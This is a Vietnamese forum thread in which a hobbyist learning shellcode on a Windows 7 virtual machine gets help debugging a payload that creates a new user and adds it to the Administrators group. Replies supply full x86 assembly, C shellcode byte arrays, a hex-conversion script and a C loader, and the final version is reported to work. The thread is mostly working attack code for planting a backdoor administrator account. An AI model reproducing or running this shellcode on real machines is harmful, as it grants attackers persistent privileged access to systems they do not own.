Chào mọi người, Em có tìm được tài liệu căn bản về shellcode và có test thử trên máy ảo Windows 7 (cả 32 lẫn 64 bit). Tới phần shellcode thêm 1 account Admin thì em chỉ có thể thực hiện được tạo 1 account mới, còn command để add account đó vào group Administrators thì lại không chạy được mà báo lỗi: "System error 1376 has occurred. The specified local group does not exist." Có ai đã từng làm, cho em ý kiến với ạ. Em cám ơn nhiều! Link bài viết mà em tham khảo ở đây ạ: http://www.vividmachines.com/shellcode/shellcode.html
Bạn thử lại shellcode với gợi ý này xem: Type: Mã: net users [ENTER] to see the list of local users on the PC net localgroup administrators [ENTER] to see the list of users that are in Administrators group To make your user an administrator, add it to the Administrators group with: net localgroup administrator username_you_want_to_add /add [ENTER] exit [ENTER]
Cũng vẫn không được bạn ơi ((( Mình dùng đúng địa chỉ chỗ WinExec và ExitProcess của phiên bản Windows dùng test, cả câu command mình cũng làm như bạn chỉ, vẫn không ra ((( Nó chỉ chạy đúng vế đầu là tạo 1 account chứ không thêm account đó vào group Administrators được huhu Đau đầu gần 3 tuần nay vẫn không ra.
Bạn thử fix lỗi 1376 theo link hướng dẫn sau rùi chạy lại code xem có được không nhé ! http://storageslot.com/error-1376/error-1376.html
Cũng không được luôn bạn ơi. Lúc bị lỗi, mình có copy cái lỗi rồi search, cũng thử cách này rồi mà vẫn ko thành công huhu
Đây bạn, địa chỉ thư viện dùng cho WinExec và ExitProcess là phiên bản Windows 7 64bit nhé. Code assembly: ;adduser.asm [Section .text] global _start _start: jmp short GetCommand CommandReturn: pop ebx ;ebx now holds the handle to the string xor eax,eax push eax xor eax,eax ;for some reason the registers can be very volatile, did this just in case mov [ebx + 89],al ;insert the NULL character push ebx mov ebx,0x77552c21 call ebx ;call WinExec(path,showcode) xor eax,eax ;zero the register again, clears winexec retval push eax mov ebx, 0x774d7a10 call ebx ;call ExitProcess(0); GetCommand: ;the N at the end of the db will be replaced with a null character call CommandReturn db "cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators USERNAME /ADD" Code C để thực thi: char code[] = "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x21\x2c\x55\x77" "\xff\xd3\x31\xc0\x50\xbb\x10\x7a\x4d\x77\xff\xd3\xe8\xe0\xff\xff\xff" "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73" "\x65\x72\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x50\x41\x53\x53\x57" "\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c" "\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73" "\x74\x72\x74\x6f\x72\x73\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x2f" "\x41\x44\x44"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
Bạn test lệnh "net user USERNAME PASSWORD /ADD && net localgroup Administrators USERNAME /ADD" trong cmd chưa? Nếu chạy lệnh trong cmd cũng lỗi thì nguyên nhân nằm ở máy của bạn chứ không phải ở shellcode. Bạn có chạy shellcode với quyền quản trị không? Đây là add user nên cần có quyền quản trị.
Mình gõ lệnh này trực tiếp trong cmd luôn rồi. Nó chạy được luôn bạn ạ. Chỉ trong shellcode thì nó mới ko chạy vụ thêm tài khoản vào group Administrators. Mình dùng tài khoản có quyền Admin để thực thi shellcode luôn.
Nếu bạn biết debug shellcode bằng gdb thì tốt, sẽ debug được xem shellcode lỗi chỗ nào. Mình thấy trong con shellcode trên có vấn đề: độ dài đoạn lệnh ("cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators USERNAME /ADD") là 89 Byte, do đó, dòng lệnh "mov [ebx + 89],al ;insert the NULL character" nhằm mục đích thêm ký tự NULL vào cuối xâu này. Vậy khi bạn muốn add user Admin thì độ dài lệnh còn 86 Byte thôi, do đó lệnh "mov [ebx + 89],al ;insert the NULL character" sẽ không đặt ký tự NULL đúng chỗ. Bạn sửa con shellcode thành như sau, và chạy thử xem còn lỗi không? Chú ý là phải thay đổi địa chỉ các hàm ExitProcess và WinExec. Các hàm này sẽ bị thay đổi địa chỉ mỗi khi bạn khởi động lại máy tính, và nó sẽ không giống nhau trên cùng phiên bản Windows đâu. ;adduser.asm [Section .text] global _start _start: jmp short GetCommand CommandReturn: pop ebx ;ebx now holds the handle to the string xor eax,eax push eax xor eax,eax ;for some reason the registers can be very volatile, did this just in case push ebx mov ebx,0x77e6fd35 call ebx ;call WinExec(path,showcode) xor eax,eax ;zero the register again, clears winexec retval push eax mov ebx, 0x77e798fd call ebx ;call ExitProcess(0); GetCommand: ;the N at the end of the db will be replaced with a null character call CommandReturn db "cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators /ADD USERNAMEN", 0x00
Bạn làm theo cách này xem: Compile mã assembly bằng lệnh "nasm adduser.asm -o adduser" để có được mã assembly của shellcode luôn. Trong mã assembly, bạn bỏ đi mấy cái [Section .text], global _start và thêm vào BITS 32 ở đầu: ----------------------------------------------------------------------------------------- BITS 32 jmp short GetCommand CommandReturn: pop ebx ;ebx now holds the handle to the string xor eax,eax push eax xor eax,eax ;for some reason the registers can be very volatile, did this just in case push ebx mov ebx,0x770b2c91 call ebx ;call WinExec(path,showcode) xor eax,eax ;zero the register again, clears winexec retval push eax mov ebx, 0x770379f8 call ebx ;call ExitProcess(0); GetCommand: ;the N at the end of the db will be replaced with a null character call CommandReturn db "cmd.exe /c net user Admin PASSWORD /ADD && net localgroup Administrators /ADD Admin", 0x00 ----------------------------------------------------------------------------------------- Sau khi compile, ta được file adduser là file raw shellcode. Bạn chuyển sang mã C hex bằng tool python binary_to_chex.py sau: ----------------------------------------------------------------------------------------- import sys import binascii data = open(sys.argv[1], 'rb').read() hex = binascii.hexlify(data) chex = '' for i in range(len(hex)/2): chex += '\\x'+hex[i*2:i*2+2] print chex ----------------------------------------------------------------------------------------- Chạy lệnh "python binary_to_chex.py adduser", bạn thu được đoạn C hex: ----------------------------------------------------------------------------------------- \xeb\x18\x5b\x31\xc0\x50\x31\xc0\x53\xbb\x91\x2c\x0b\x77\xff\xd3\x31\xc0\x50\xbb \xf8\x79\x03\x77\xff\xd3\xe8\xe3\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f \x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x41\x64\x6d\x69\x6e\x20\x50\x41\x53 \x53\x57\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f \x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74 \x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x41\x64\x6d\x69\x6e\x00 ----------------------------------------------------------------------------------------- Thay đoạn C hex trên vào file testshellcode.c: ----------------------------------------------------------------------------------------- char code[] = "\xeb\x18\x5b\x31\xc0\x50\x31\xc0\x53\xbb\x91\x2c\x0b\x77\xff\xd3\x31\xc0\x50\xbb" "\xf8\x79\x03\x77\xff\xd3\xe8\xe3\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f" "\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x41\x64\x6d\x69\x6e\x20\x50\x41\x53" "\x53\x57\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f" "\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74" "\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x41\x64\x6d\x69\x6e\x00"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); } ----------------------------------------------------------------------------------------- Compile bằng gcc: "gcc testshellcode.c -o testshellcode -m32", được file testshellcode.exe. Mình đã chạy thử testshellcode.exe và thành công nhé.
ĐƯỢC RỒI ANH ƠI! CHẠY THÀNH CÔNG RỒI! Cơ mà anh bỏ quá cho em, vì em tò mò shellcode nên vọc thử, chứ chưa học assembly nên còn 2 chỗ em vẫn chưa hiểu mong anh bỏ chút thời gian giải thích giúp em. Cái "BITS 32" ở đầu code mình thêm vào để làm gì ạ? Và ở cuối dòng command, em thấy anh thêm "0x00" ở cuối có tác dụng gì ạ? Em cám ơn hihii...
Em nên vọc qua lập trình assembly trước. Làm vài bài lập trình assembly trên Linux hay Windows đều OK. Rồi sau đó tập reverse với OllyDbg, với gdb-peda cho quen, thì mới đủ kiến thức hiểu bản chất shellcode được.